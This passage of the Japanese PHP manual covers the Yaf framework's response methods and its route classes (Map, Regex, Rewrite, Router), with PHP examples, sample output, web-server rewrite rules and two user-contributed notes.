var_dump($response->getBody(NULL)); // すべてを取得
?>

上の例の出力は、 たとえば以下のようになります。

string(5) "Hello"
string(5) "Hello"
string(6) " World"
array(2) {
  ["content"]=>
  string(5) "Hello"
  ["footer"]=>
  string(6) " World"
}

参考

  • Yaf_Response_Abstract::setBody() - コンテンツをレスポンスに設定する
  • Yaf_Response_Abstract::appendBody() - レスポンス本文に追記する
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - 既存のすべてのレスポンス本文を破棄します

User Contributed Notes

There are no user contributed notes for this page.


getHeader の目的

  • ≪ Yaf_Response_Abstract::getBody
  • Yaf_Response_Abstract::prependBody ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • getHeader の目的

Yaf_Response_Abstract::getHeader

(Yaf >=1.0.0)

Yaf_Response_Abstract::getHeader — getHeader の目的

説明

public Yaf_Response_Abstract::getHeader ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • Yaf_Response_Abstract::setHeader() - レスポンスヘッダを設定する
  • Yaf_Response_Abstract::cleanHeaders()

User Contributed Notes

There are no user contributed notes for this page.


The prependBody purpose

  • ≪ Yaf_Response_Abstract::getHeader
  • Yaf_Response_Abstract::response ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • The prependBody purpose

Yaf_Response_Abstract::prependBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::prependBody — The prependBody purpose

説明

public Yaf_Response_Abstract::prependBody ( string $content , string $key = ? ) : bool

既存のコンテンツブロックの前にコンテンツを追加します。

パラメータ

body

コンテンツ文字列。

key

コンテンツのキー。キーを指定しない場合は、 Yaf_Response_Abstract::DEFAULT_BODY を使います。

注意:

このパラメータは 2.2.0 で導入されました。

返り値

bool

例

例1 Yaf_Response_Abstract::prependBody() の例

<?php
$response = new Yaf_Response_Http();

$response->setBody("World")->prependBody("Hello ");

echo $response;
?>

上の例の出力は、 たとえば以下のようになります。

Hello World

参考

  • Yaf_Response_Abstract::getBody() - コンテンツを取得する
  • Yaf_Response_Abstract::setBody() - コンテンツをレスポンスに設定する
  • Yaf_Response_Abstract::appendBody() - レスポンス本文に追記する
  • Yaf_Response_Abstract::clearBody() - 既存のすべてのレスポンス本文を破棄します

User Contributed Notes

There are no user contributed notes for this page.


レスポンスを送信する

  • ≪ Yaf_Response_Abstract::prependBody
  • Yaf_Response_Abstract::setAllHeaders ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • レスポンスを送信する

Yaf_Response_Abstract::response

(Yaf >=1.0.0)

Yaf_Response_Abstract::response — レスポンスを送信する

説明

public Yaf_Response_Abstract::response ( ) : void

レスポンスを送信します。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Yaf_Response_Abstract::response() の例

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

$response->response();
?>

上の例の出力は、 たとえば以下のようになります。

Hello World

参考

  • Yaf_Response_Abstract::setBody() - コンテンツをレスポンスに設定する
  • Yaf_Response_Abstract::clearBody() - 既存のすべてのレスポンス本文を破棄します

User Contributed Notes

There are no user contributed notes for this page.


The setAllHeaders purpose

  • ≪ Yaf_Response_Abstract::response
  • Yaf_Response_Abstract::setBody ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • The setAllHeaders purpose

Yaf_Response_Abstract::setAllHeaders

(Yaf >=1.0.0)

Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose

説明

protected Yaf_Response_Abstract::setAllHeaders ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


コンテンツをレスポンスに設定する

  • ≪ Yaf_Response_Abstract::setAllHeaders
  • Yaf_Response_Abstract::setHeader ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • コンテンツをレスポンスに設定する

Yaf_Response_Abstract::setBody

(Yaf >=1.0.0)

Yaf_Response_Abstract::setBody — コンテンツをレスポンスに設定する

説明

public Yaf_Response_Abstract::setBody ( string $content , string $key = ? ) : bool

コンテンツをレスポンスに設定します。

パラメータ

body

コンテンツ文字列。

key

コンテンツのキー。キーを指定しない場合は、 Yaf_Response_Abstract::DEFAULT_BODY を使います。

注意:

このパラメータは 2.2.0 で導入されました。

返り値

例

例1 Yaf_Response_Abstract::setBody() の例

<?php
$response = new Yaf_Response_Http();

$response->setBody("Hello")->setBody(" World", "footer");

print_r($response);
echo $response;
?>

上の例の出力は、 たとえば以下のようになります。

Yaf_Response_Http Object
(
    [_header:protected] => Array
        (
        )

    [_body:protected] => Array
        (
            [content] => Hello
            [footer] =>  World
        )

    [_sendheader:protected] => 1
    [_response_code:protected] => 200
)
Hello World

参考

  • Yaf_Response_Abstract::getBody() - コンテンツを取得する
  • Yaf_Response_Abstract::appendBody() - レスポンス本文に追記する
  • Yaf_Response_Abstract::prependBody() - The prependBody purpose
  • Yaf_Response_Abstract::clearBody() - 既存のすべてのレスポンス本文を破棄します

User Contributed Notes

There are no user contributed notes for this page.


レスポンスヘッダを設定する

  • ≪ Yaf_Response_Abstract::setBody
  • Yaf_Response_Abstract::setRedirect ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • レスポンスヘッダを設定する

Yaf_Response_Abstract::setHeader

(Yaf >=1.0.0)

Yaf_Response_Abstract::setHeader — レスポンスヘッダを設定する

説明

public Yaf_Response_Abstract::setHeader ( string $name , string $value , bool $replace = ? ) : bool

HTTPヘッダを送信するのに使います。

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • Yaf_Response_Abstract::getHeader() - getHeader の目的
  • Yaf_Response_Abstract::cleanHeaders()

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 11-Apr-2014 02:45
A few examples of how to send headers from a controller...

/* Set Content-Type */
 $response = $this -> getResponse();

 $response -> setHeader( 'Content-Type', 'text/html; CHARSET=shift-jis' );

$response -> response();

/* Set HTTP Status */
$response = $this -> getResponse();

$response -> setHeader( $this -> getRequest() -> getServer( 'SERVER_PROTOCOL' ), '404 Not Found' );

$response -> response();

You could also use $_SERVER[ 'SERVER_PROTOCOL' ] however it is recommend to extend the request class do some cleaning of the super globals then you should be good to go.


The setRedirect purpose

  • ≪ Yaf_Response_Abstract::setHeader
  • Yaf_Response_Abstract::__toString ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • The setRedirect purpose

Yaf_Response_Abstract::setRedirect

(Yaf >=1.0.0)

Yaf_Response_Abstract::setRedirect — The setRedirect purpose

説明

public Yaf_Response_Abstract::setRedirect ( string $url ) : bool

パラメータ

url

リダイレクト先のアドレス。

返り値

User Contributed Notes

There are no user contributed notes for this page.


すべてのレスポンスボディを文字列として取得する

  • ≪ Yaf_Response_Abstract::setRedirect
  • Yaf_Route_Interface ≫
  • PHP Manual
  • Yaf_Response_Abstract
  • すべてのレスポンスボディを文字列として取得する

Yaf_Response_Abstract::__toString

(Yaf >=1.0.0)

Yaf_Response_Abstract::__toString — すべてのレスポンスボディを文字列として取得する

説明

private Yaf_Response_Abstract::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Interface クラス

(Yaf >=1.0.0)

はじめに

Yaf_Route_Interface を使うと、開発者がカスタムルートを定義できるようになります。

クラス概要

Yaf_Route_Interface {
/* メソッド */
abstract public assemble ( array $info , array $query = ? ) : string
abstract public route ( Yaf_Request_Abstract $request ) : bool
}

目次

  • Yaf_Route_Interface::assemble — リクエストを組み立てる
  • Yaf_Route_Interface::route — リクエストをルーティングする

User Contributed Notes

There are no user contributed notes for this page.


リクエストを組み立てる

  • ≪ Yaf_Route_Interface
  • Yaf_Route_Interface::route ≫
  • PHP Manual
  • Yaf_Route_Interface
  • リクエストを組み立てる

Yaf_Route_Interface::assemble

(Yaf >=2.3.0)

Yaf_Route_Interface::assemble — リクエストを組み立てる

説明

abstract public Yaf_Route_Interface::assemble ( array $info , array $query = ? ) : string

このメソッドは引数 info に対応するURLを返します。 そして、引数 query によってURLにクエリストリングを追加します。

Route は自分のルーティングのルールに基づいてこのメソッドを実装すべきですし、 逆の処理も行うべきです。

パラメータ

info

query

返り値

User Contributed Notes

There are no user contributed notes for this page.


リクエストをルーティングする

  • ≪ Yaf_Route_Interface::assemble
  • Yaf_Route_Map ≫
  • PHP Manual
  • Yaf_Route_Interface
  • リクエストをルーティングする

Yaf_Route_Interface::route

(Yaf >=1.0.0)

Yaf_Route_Interface::route — リクエストをルーティングする

説明

abstract public Yaf_Route_Interface::route ( Yaf_Request_Abstract $request ) : bool

Yaf_Route_Interface::route() は、ルーターを自作するときに唯一実装する必要のあるメソッドです。

注意:

2.3.0 以降では、実装すべきメソッドがひとつ増えました。 Yaf_Route_Interface::assemble() を参照ください。

このメソッドが true を返せば、そこでルーティングが終わります。それ以外の場合は Yaf_Router はルートスタックの次のルーターにリクエストを転送します。

このメソッドは、
Yaf_Request_Abstract::setControllerName()、
Yaf_Request_Abstract::setActionName() および
Yaf_Request_Abstract::setModuleName() を使って
ルーティング結果を request に設定します。

リクエストをルーティングしたことを示すため、このメソッドは最後に Yaf_Request_Abstract::setRouted() を呼ぶ必要があります。

パラメータ

request

Yaf_Request_Abstract のインスタンスを返します。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Map クラス

(Yaf >=1.0.0)

はじめに

Yaf_Route_Map は標準で組み込まれているルートです。 単純に URI エンドポイント (URI の中で、ベース URL の後に続く部分。 Yaf_Request_Abstract::setBaseUri() を参照ください) をコントローラ名やアクション名に変換します (どちらになるかは Yaf_Route_Map::__construct() に渡すパラメータで決まります)。 その規則は次のとおりです。 A => controller A. A/B/C => controller A_B_C. A/B/C/D/E => controller A_B_C_D_E.

Yaf_Route_Map::__construct() の二番目のパラメータを指定すると、 URI の中でデリミタより前の部分だけを使ってルーティングを行います。 デリミタ以降の部分は、ルーティングリクエストのパラメータとして使います (Yaf_Route_Map::__construct() のサンプルを参照ください)。

クラス概要

Yaf_Route_Map implements Yaf_Route_Interface {
/* プロパティ */
protected $_ctl_router ;
protected $_delimiter ;
/* メソッド */
public assemble ( array $info , array $query = ? ) : string
public __construct ( string $controller_prefer = false , string $delimiter = "" )
public route ( Yaf_Request_Abstract $request ) : bool
}

プロパティ

_ctl_router

_delimiter

目次

  • Yaf_Route_Map::assemble — URLを組み立てる
  • Yaf_Route_Map::__construct — The __construct purpose
  • Yaf_Route_Map::route — route の目的

User Contributed Notes

There are no user contributed notes for this page.


URLを組み立てる

  • ≪ Yaf_Route_Map
  • Yaf_Route_Map::__construct ≫
  • PHP Manual
  • Yaf_Route_Map
  • URLを組み立てる

Yaf_Route_Map::assemble

(Yaf >=2.3.0)

Yaf_Route_Map::assemble — URLを組み立てる

説明

public Yaf_Route_Map::assemble ( array $info , array $query = ? ) : string

URLを組み立てます。

パラメータ

info

query

例

例1 Yaf_Route_Map::assemble() の例

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Map();

$router->addRoute("map", $route);

var_dump($router->getRoute('map')->assemble(
                        array(
                                ':c' => 'foo_bar'
                        ),
                        array(
                                'tkey1' => 'tval1',
                                'tkey2' => 'tval2'
                        )
                   )
);

$route = new Yaf_Route_Map(true, '_');
$router->addRoute("map", $route);

var_dump($router->getRoute('map')->assemble(
                        array(
                                ':a' => 'foo_bar'
                        ),
                        array(
                                'tkey1' => 'tval1',
                                'tkey2' => 'tval2'
                        )
                   )
);

上の例の出力は、 たとえば以下のようになります。

string(%d) "/foo/bar?tkey1=tval1&tkey2=tval2"
string(%d) "/foo/bar/_/tkey1/tval1/tkey2/tval2"

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ≪ Yaf_Route_Map::assemble
  • Yaf_Route_Map::route ≫
  • PHP Manual
  • Yaf_Route_Map
  • The __construct purpose

Yaf_Route_Map::__construct

(Yaf >=1.0.0)

Yaf_Route_Map::__construct — The __construct purpose

説明

public Yaf_Route_Map::__construct ( string $controller_prefer = false , string $delimiter = "" )

パラメータ

controller_prefer

結果をコントローラとみなすかアクションとみなすか。

delimiter

返り値

例

例1 Yaf_Route_Map() の例

<?php
   /**
    * Add a map route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Map());
?>

上の例の出力は、 たとえば以下のようになります。

/* http://yourdomain.com/product/foo/bar
 * の場合はこのような結果になります
 */
array(
  "controller" => "product_foo_bar",
)

例2 Yaf_Route_Map() の例

<?php
   /**
    * Add a map route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Map(true, "_"));
?>

上の例の出力は、 たとえば以下のようになります。

/* http://yourdomain.com/user/list/_/foo/22
 * の場合はこのような結果になります
 */
array(
    "action" => "user_list",
)

/**
 * リクエストパラメータは、このようになります
 */
array(
  "foo"   => 22,
)

例3 Yaf_Route_Map() の例

<?php
   /**
    * Add a map route to Yaf_Router route stack by calling addconfig
    */
    $config = array(
        "name" => array(
           "type"  => "map",         //Yaf_Route_Map route
           "controllerPrefer" => FALSE,
           "delimiter"        => "#!",
           ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

参考

  • Yaf_Router::addRoute() - 新しいルートをルーターに追加する
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite

User Contributed Notes

There are no user contributed notes for this page.


route の目的

  • ≪ Yaf_Route_Map::__construct
  • Yaf_Route_Regex ≫
  • PHP Manual
  • Yaf_Route_Map
  • route の目的

Yaf_Route_Map::route

(Yaf >=1.0.0)

Yaf_Route_Map::route — route の目的

説明

public Yaf_Route_Map::route ( Yaf_Request_Abstract $request ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Regex クラス

(Yaf >=1.0.0)

はじめに

Yaf_Route_Regex は、 Yaf の組み込みのルートのなかでも一番柔軟性の高いものです。

クラス概要

Yaf_Route_Regex extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* プロパティ */
protected $_route ;
protected $_default ;
protected $_maps ;
protected $_verify ;
/* メソッド */
public assemble ( array $info , array $query = ? ) : string
public __construct ( string $match , array $route , array $map = ? , array $verify = ? , string $reverse = ? )
public route ( Yaf_Request_Abstract $request ) : bool
/* 継承したメソッド */
abstract public Yaf_Route_Interface::assemble ( array $info , array $query = ? ) : string
abstract public Yaf_Route_Interface::route ( Yaf_Request_Abstract $request ) : bool
}

プロパティ

_route

_default

_maps

_verify

目次

  • Yaf_Route_Regex::assemble — URL を組み立てる
  • Yaf_Route_Regex::__construct — Yaf_Route_Regex のコンストラクタ
  • Yaf_Route_Regex::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


URL を組み立てる

  • ≪ Yaf_Route_Regex
  • Yaf_Route_Regex::__construct ≫
  • PHP Manual
  • Yaf_Route_Regex
  • URL を組み立てる

Yaf_Route_Regex::assemble

(Yaf >=2.3.0)

Yaf_Route_Regex::assemble — URL を組み立てる

説明

public Yaf_Route_Regex::assemble ( array $info , array $query = ? ) : string

URL を組み立てます。

パラメータ

info

query

例

例1 Yaf_Route_Regex::assemble() の例

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Regex(
            "#^/product/([^/]+)/([^/])+#",
            array(
                'controller' => "product",  //route to product controller,
                ),
            array(),
            array(),
            '/:m/:c/:a'
        );

$router->addRoute("regex", $route);

var_dump($router->getRoute('regex')->assemble(
            array(
                ':m' => 'module',
                ':c' => 'controller',
                ':a' => 'action'
                ),
            array(
                'tkey1' => 'tval1',
                'tkey2' =>
                'tval2'
                )
            )
        );

上の例の出力は、 たとえば以下のようになります。

string(49) "/module/controller/action?tkey1=tval1&tkey2=tval2"

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Regex のコンストラクタ

  • ≪ Yaf_Route_Regex::assemble
  • Yaf_Route_Regex::route ≫
  • PHP Manual
  • Yaf_Route_Regex
  • Yaf_Route_Regex のコンストラクタ

Yaf_Route_Regex::__construct

(Yaf >=1.0.0)

Yaf_Route_Regex::__construct — Yaf_Route_Regex のコンストラクタ

説明

public Yaf_Route_Regex::__construct ( string $match , array $route , array $map = ? , array $verify = ? , string $reverse = ? )

パラメータ

match

正規表現のパターン。リクエストの URI とマッチさせます。 もしマッチしなければ Yaf_Route_Regex は false を返します。

route

リクエスト URI がパターンにマッチしたときに、 Yaf_Route_Regex はこれを使ってルーティング先を判断します。

この配列で指定するモジュール、コントローラ、アクションはすべて任意指定で、 値を省略したときにはデフォルト設定を利用します。

map

マッチした結果に代入する名前の配列。

verify

reverse

URL を組み立てるときに使う文字列。 Yaf_Route_Regex::assemble() を参照ください。

注意:

このパラメータは 2.3.0 で導入されました。

返り値

例

例1 Yaf_Route_Regex() の例

<?php
   /**
    * Add a regex route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Regex(
           "#^/product/([^/]+)/([^/])+#", //match request uri leading "/product"
           array(
               'controller' => "product",  //route to product controller,
           ),
           array(
              1 => "name",   // now you can call $request->getParam("name")
              2 => "id",     // to get the first captrue in the match pattern.
           )
        )
    );
?>

例2 Yaf_Route_Regex() (2.3.0 以降) の例

<?php
   /**
    * Use match result as MVC name
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Regex(
           "#^/product/([^/]+)/([^/])+#i", //match request uri leading "/product"
           array(
              'controller' => ":name", // route to :name, which is $1 in the match result as controller name
           ),
           array(
              1 => "name",   // now you can call $request->getParam("name")
              2 => "id",     // to get the first captrue in the match pattern.
           )
        )
    );
?>

例3 Yaf_Route_Regex と名前付きキャプチャグループ (2.3.0 以降) の例()example

<?php
   /**
    * Use match result as MVC name
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Regex(
           "#^/product/(?<name>[^/]+)/([^/])+#i", //match request uri leading "/product"
           array(
           'controller' => ":name", // route to :name,
                                    // which is named capture group 'name' in the match result as controller name
           ),
           array(
              2 => "id",     // to get the first captrue in the match pattern.
           )
        )
    );
?>

例4 Yaf_Route_Regex() の例

<?php
   /**
    * Add a regex route to Yaf_Router route stack by calling addconfig
    */
    $config = array(
        "name" => array(
           "type"  => "regex",          //Yaf_Route_Regex route
           "match" => "#(.*)#",         //match arbitrary request uri
           "route" => array(
               'controller' => "product",  //route to product controller,
               'action'     => "dummy",    //route to dummy action
           ),
           "map" => array(
              1 => "uri",   // now you can call $request->getParam("uri")
           ),
        ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

参考

  • Yaf_Router::addRoute() - 新しいルートをルーターに追加する
  • Yaf_Router::addConfig() - 設定で定義したルートをルーターに追加する
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • ≪ Yaf_Route_Regex::__construct
  • Yaf_Route_Rewrite ≫
  • PHP Manual
  • Yaf_Route_Regex
  • The route purpose

Yaf_Route_Regex::route

(Yaf >=1.0.0)

Yaf_Route_Regex::route — The route purpose

説明

public Yaf_Route_Regex::route ( Yaf_Request_Abstract $request ) : bool

リクエストをルーティングします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

返り値

Yaf_Route_Regex::_construct() の引数で指定したパターンにリクエスト URI がマッチした場合に true、 それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Rewrite クラス

(Yaf >=1.0.0)

はじめに

使いかたについては、 Yaf_Route_Rewrite::__construct() のサンプルを参照ください。

クラス概要

Yaf_Route_Rewrite extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* プロパティ */
protected $_route ;
protected $_default ;
protected $_verify ;
/* メソッド */
public assemble ( array $info , array $query = ? ) : string
public __construct ( string $match , array $route , array $verify = ? )
public route ( Yaf_Request_Abstract $request ) : bool
/* 継承したメソッド */
abstract public Yaf_Route_Interface::assemble ( array $info , array $query = ? ) : string
abstract public Yaf_Route_Interface::route ( Yaf_Request_Abstract $request ) : bool
}

プロパティ

_route

_default

_verify

目次

  • Yaf_Route_Rewrite::assemble — URLを組み立てる
  • Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite のコンストラクタ
  • Yaf_Route_Rewrite::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


URLを組み立てる

  • ≪ Yaf_Route_Rewrite
  • Yaf_Route_Rewrite::__construct ≫
  • PHP Manual
  • Yaf_Route_Rewrite
  • URLを組み立てる

Yaf_Route_Rewrite::assemble

(Yaf >=2.3.0)

Yaf_Route_Rewrite::assemble — URLを組み立てる

説明

public Yaf_Route_Rewrite::assemble ( array $info , array $query = ? ) : string

URLを組み立てます。

パラメータ

info

query

例

例1 Yaf_Route_Rewrite::assemble() の例

router = new Yaf_Router();

$route  = new Yaf_Route_Rewrite(
                "/product/:name/:id/*",
                array(
                        'controller' => "product",
                ),
                array()
);

$router->addRoute("rewrite", $route);

var_dump($router->getRoute('rewrite')->assemble(
                        array(
                                ':name' => 'foo',
                                ':id' => 'bar',
                                ':tmpkey1' => 'tmpval1'
                        ),
                        array(
                                'tkey1' => 'tval1',
                                'tkey2' => 'tval2'
                             )
                        )
);

上の例の出力は、 たとえば以下のようになります。

string(57) "/product/foo/bar/tmpkey1/tmpval1/?tkey1=tval1&tkey2=tval2"

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Rewrite のコンストラクタ

  • ≪ Yaf_Route_Rewrite::assemble
  • Yaf_Route_Rewrite::route ≫
  • PHP Manual
  • Yaf_Route_Rewrite
  • Yaf_Route_Rewrite のコンストラクタ

Yaf_Route_Rewrite::__construct

(Yaf >=1.0.0)

Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite のコンストラクタ

説明

public Yaf_Route_Rewrite::__construct ( string $match , array $route , array $verify = ? )

パラメータ

match

リクエストの URI とマッチさせるパターン。 もしマッチしなければ Yaf_Route_Rewrite は false を返します。

:name 形式を使って、マッチしたセグメントに名前を付けることができます。 また、* で残りの URL セグメントにマッチさせられます。

route

リクエスト URI がパターンにマッチしたときに、 Yaf_Route_Rewrite はこれを使ってルーティング先のモジュール、コントローラ、アクションを判断します。

この配列で指定するモジュール、コントローラ、アクションはすべて任意指定で、 値を省略したときにはデフォルト設定を利用します。

verify

返り値

例

例1 Yaf_Route_Rewrite() の例

<?php
   /**
    * Add a rewrite route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_rewrite(
           "/product/:name/:id/*", //match request uri leading "/product"
           array(
               'controller' => "product",  //route to product controller,
           ),
        )
    );
?>

上の例の出力は、 たとえば以下のようになります。

/* http://yourdomain.com/product/foo/22/foo/bar
 * の場合はこのような結果になります
 */
array(
  "controller" => "product",
  "module"     => "index", //(default)
  "action"     => "index", //(default)
)

/**
 * リクエストパラメータは、このようになります
 */
array(
  "name" => "foo",
  "id"   => 22,
  "foo"  => bar
)

例2 Yaf_Route_Rewrite() の例

<?php
   /**
    * Add a rewrite route to Yaf_Router route stack by calling addconfig
    */
    $config = array(
        "name" => array(
           "type"  => "rewrite",        //Yaf_Route_Rewrite route
           "match" => "/user-list/:id", //match only /user/list/?/
           "route" => array(
               'controller' => "user",  //route to user controller,
               'action'     => "list",  //route to list action
           ),
        ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

上の例の出力は、 たとえば以下のようになります。

/* http://yourdomain.com/user-list/22
 * の場合はこのような結果になります
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(default)
)

/**
 * リクエストパラメータは、このようになります
 */
array(
  "id"   => 22,
)

例3 Yaf_Route_Rewrite() (2.3.0 以降) の例

<?php
   /**
    * Add a rewrite route use match result as m/c/a name
    */
    $config = array(
        "name" => array(
           "type"  => "rewrite",
           "match" => "/user-list/:a/:id", //match only /user-list/*
           "route" => array(
               'controller' => "user",   //route to user controller,
               'action'     => ":a",     //route to :a action
           ),
        ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

上の例の出力は、 たとえば以下のようになります。

/* http://yourdomain.com/user-list/list/22
 * の場合はこのような結果になります
 */
array(
  "controller" => "user",
  "action"     => "list",
  "module"     => "index", //(default)
)

/**
 * リクエストパラメータは、このようになります
 */
array(
  "id"   => 22,
)

参考

  • Yaf_Router::addRoute() - 新しいルートをルーターに追加する
  • Yaf_Router::addConfig() - 設定で定義したルートをルーターに追加する
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Map

User Contributed Notes

aqueel at ikonami dot net 20-Jun-2012 04:20
Working Example for Modules in YAF FOR PHP

Please follow these steps to make modules work in YAF.

1. Create a folder with name modules inside application directory the path would normally look like this

/application/modules

2. In modules folder copy following folders and files from application root.
    i. conf / configration folder ( what ever name your configration folder has)
    ii. controllers
    iii. models
    iv. plugins ( if you have)
    v.  Views

Now your folder structure will look like this

-- application
        -- controllers
        -- models
        -- modules
              -- [moduledirectory]
                 -- controllers
                 -- models
                 -- plugins
                 -- views
        -- plugins
        -- views

application.ini file in configuration folder will look like this the only thing to notice closely in this file is this line

;defined modules
application.modules= "Index,director"  // comma separated list of all modules that you will use in your web application using yaf

############################################################
[product]
;layout
application.directory = APP_PATH
application.bootstrap = APP_PATH "Bootstrap.php"
application.library = BASE_PATH "/library"

appnamespace = "Application"
resources.frontController.controllerDirectory = APP_PATH "controllers"
resources.frontController.params.displayExceptions = 0
resources.frontController.defaultModule = "index"
resources.frontController.defaultController = "index"
resources.frontController.defaultAction = "index"
;resources.frontController.moduleDirectory = APP_PATH "modules/"
resources.layout.layoutPath = APP_PATH "/layouts/scripts/"
resources.view[] =

;errors (see Bootstrap::initErrors)
application.showErrors=0

;enable the error controller
application.dispatcher.catchException=0
application.dispatcher.defaultModule=Index
application.dispatcher.defaultController=Index
application.dispatcher.defaultAction=index

;defined modules
application.modules= "Index,director"

;database
database.adapter = Pdo_Mysql
database.params.dbname  = printmaster
database.params.host     = localhost ;NA when using sqlite
database.params.username = root ;NA when using sqlite
database.params.password = root ;NA when using sqlite

[devel : product]

;errors (see Bootstrap::initErrors)
application.showErrors=1

#############################################################

Add this in your bootstrap.php

<?php
public function _initRoute(Yaf_Dispatcher $dis) {

$route1 = new Yaf_Route_Rewrite("/director",
            array(
                "controller" => "index",
                "module" => "director",
                "action" => "index"

                )
        );

}
?>


The route purpose

  • ≪ Yaf_Route_Rewrite::__construct
  • Yaf_Router ≫
  • PHP Manual
  • Yaf_Route_Rewrite
  • The route purpose

Yaf_Route_Rewrite::route

(Yaf >=1.0.0)

Yaf_Route_Rewrite::route — The route purpose

説明

public Yaf_Route_Rewrite::route ( Yaf_Request_Abstract $request ) : bool

パラメータ

request

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Router クラス

(Yaf >=1.0.0)

はじめに

Yaf_Router は、フレームワークの標準のルーターです。 ルーティングとは、URI エンドポイント (URI の中で、ベース URL の後に続く部分。 Yaf_Request_Abstract::setBaseUri() を参照ください) を受け取ってそこからパラメータを抽出し、 リクエストを受け取るモジュールやコントローラそしてアクションを判断する処理のことです。 モジュール、コントローラ、アクション、そしてその他のパラメータは Yaf_Request_Abstract オブジェクトにまとめられ、 そして Yaf_Dispatcher で処理します。 ルーティングが行われるのは一度だけで、リクエストを最初に受け取ってから 最初のコントローラにディスパッチする前に行われます。 Yaf_Router は、mod_rewrite 風の機能を PHP を使って実現できるような設計になっています。 Ruby on Rails のルーティング方式を参考にしており、 ウェブサーバーの URL リライト機能に関する事前知識は不要です。 Apache の場合は、次のような mod_rewrite ルールを書けば使えます。

例1 Apache 用のリライトルール

RewriteEngine on
RewriteRule !\.(js|ico|gif|jpg|png|css|html)$ index.php
あるいは、次のようにもできます (こちらのほうを推奨します)。

例2 Apache 用のリライトルール

RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ index.php [NC,L]
Lighttpd の場合は、次のようなリライトルールを指定します。

例3 Lighttpd 用のリライトルール

url.rewrite-once = (
  ".*\?(.*)$" => "/index.php?$1",
  ".*\.(js|ico|gif|jpg|png|css|html)$" => "$0",
  "" => "/index.php"
)
Nginx の場合は、次のようなリライトルールを指定します。

例4 Nginx 用のリライトルール

server {
  listen ****;
  server_name  yourdomain.com;
  root   document_root;
  index  index.php index.html;

  if (!-e $request_filename) {
    rewrite ^/(.*)  /index.php/$1 last;
  }
}

デフォルトのルート

Yaf_Router には設定済みのデフォルトルート Yaf_Route_Static が用意されており、これは controller/action 形式の URI にマッチします。 さらに、モジュール名を最初のパス要素として指定できます。この場合の URI は module/controller/action 形式になります。 また、追加のパラメータを URI に追記できるようになっています。つまり controller/action/var1/value1/var2/value2 といった形式です。

注意:

モジュール名は設定ファイルで定義しておく必要があります。 たとえば application.module="Index,Foo,Bar" とすると、 index、foo、bar だけがモジュール名とみなされます。 設定をしなかった場合は、モジュール名とみなされるのは "Index" だけです。

ルートのマッチングの例を示します。

